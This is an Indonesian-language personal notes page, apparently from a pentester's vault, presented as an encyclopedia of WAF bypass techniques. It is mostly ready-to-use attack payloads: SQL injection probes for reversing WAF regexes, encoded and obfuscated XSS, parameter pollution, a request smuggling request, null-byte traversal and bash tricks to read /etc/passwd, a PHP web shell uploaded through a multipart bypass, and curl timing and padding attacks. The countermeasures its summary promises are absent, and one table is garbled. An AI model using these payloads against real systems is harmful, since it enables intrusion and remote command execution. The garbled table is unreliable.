Azhar's Notes

WAF Evasion Techniques — Encyclopedia: 70+ Bypass Methods, Regex Reversing, Obfuscation, Encoding

3 menit baca

Ringkasan

Referensi komprehensif teknik bypass WAF dari Awesome-WAF dan berbagai sumber. Mencakup 70+ teknik yang diklasifikasikan per kategori: obfuscation, encoding, parsing confusion, protocol-level evasion, side-channel, dan filter abuse. Setiap teknik dilengkapi contoh payload dan mekanisme countermeasure.

Cross-link: waf-reverse-proxy-deepdive → sql-comment-injection-waf-bypass → waf-ebpf-xdp-pentest → ctf-tool-arsenal-universal → hierarchy-waf-reverse-proxy

Daftar Isi

1. Regex Reversing

Teknik paling efektif: kirim payload bertahap untuk fingerprint regex WAF, lalu bypass.

Step-by-Step

Step 1: 1 AND 1=1 → BLOCKED → "and" di-blacklist
Step 2: 1 OR 1=1 → BLOCKED → "or" di-blacklist
Step 3: 1 || 1 → ALLOWED → "||" tidak di-blacklist
Step 4: 1 || (select 1) → BLOCKED → "select" di-blacklist
...
 
→ Kesimpulan: regex = /(and|or|union|select)/i
Bypass: 1 || (SeLeCt 1)  # Case toggling? Cek...

Progression Table

IterationPayloadStatusRule Discovered
11 OR 1=1BLOCKEDor keyword
2`11`
3`1(select 1 from dual)`
4`1(SeLeCt 1)`
5`1(select/**/1)`
6`1(sel%65ct 1)`

2. URL & Encoding Obfuscation

Case Toggling

-- Bypass case-sensitive regex
SELECT → SeLeCt, sElEcT
OR → Or, oR
UNION → uNiOn, UniOn

URL Encoding

# Basic
%3Cscript%3Ealert(1)%3C/script%3E
 
# Double encoding (WAF decode sekali, server decode 2x)
%253Cscript%253Ealert(1)%253C/script%253E
 
# Mixed encoding
%3Cscr%69pt%3Ealert(1)%3C/scr%69pt%3E

Unicode Normalization

-- Unicode alternative characters
%c0%ae%c0%ae/  → ../
%u2215         → / (unicode division slash)
%u2216        → \ (unicode set minus)

Dynamic Payload (JavaScript)

// Concatenation
eval('ale'+'rt(1)');
window['aler'+'t'](1);
 
// JSFuck — only []()!+ characters
[][(![]+[])[+[]]+...].call()
 
// Unicode escapes
\u0061lert(1)  // alert(1)

3. HTTP Protocol Evasion

HTTP Parameter Pollution (HPP)

# WAF melihat parameter pertama (safe)
# Backend menggunakan parameter terakhir (malicious)
GET /api?user=guest&user=admin&user=UNION SELECT...

HTTP Version Downgrade

# Beberapa WAF hanya cek HTTP/1.1 requests
# HTTP/0.9 tidak support headers → bypass WAF header inspection
GET /page

Request Smuggling

# CL.TE: WAF parsing CL, backend parsing TE
POST / HTTP/1.1
Content-Length: 44
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
X-Ignore: X

Method Override

# Bypass WAF method restriction
GET /api/delete HTTP/1.1
X-HTTP-Method-Override: DELETE

4. Parameter Manipulation

Null Byte Injection

../../../etc/passwd%00.jpg
<script>\x00alert(1)</script>

Line Breaks & Tabs

<A HREF="ja
va
script:alert(1)">click</a>
 
<iframe src="j%0Aa%0Av%0A...cript:alert(1)">

Uninitialized Variables (Bash)

# Bypass RCE detection
/bin$u/cat$u /etc$u/passwd$u
$u/bin$u/cat$u $u/etc$u/passwd$u

5. Content-Type & Charset Abuse

Charset Switching

POST /page HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=utf-32
 
# UTF-32 encoded payload — WAF tidak bisa parse

Multipart Bypass

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx
 
--xxx
Content-Disposition: form-data; name="file"; filename="test.php\x00.jpg"
Content-Type: application/x-php
 
<?php system($_GET['cmd']);?>
--xxx--

6. Side-Channel Attacks

Timing Attack

# Fingerprint rules via response timing
time curl -X POST -d "id=1+AND+SLEEP(5)" http://target.com
# Response cepat = tidak ada SQLi filtering
# Response lambat = WAF block payload SLEEP

Size Limit Bypass

# Kirim payload > max WAF inspection size
# Isi dengan junk data + payload di akhir
curl -d "data=$(python -c "print('A'*100000 + ' UNION SELECT...")" http://target.com

7. Referensi

Sumber utama: Awesome-WAF /mnt/data_d/Projects/Reference/Awesome-WAF/ (evasion section, 70+ teknik)

Cross-link vault:

Tampilan Grafik

Tautan Balik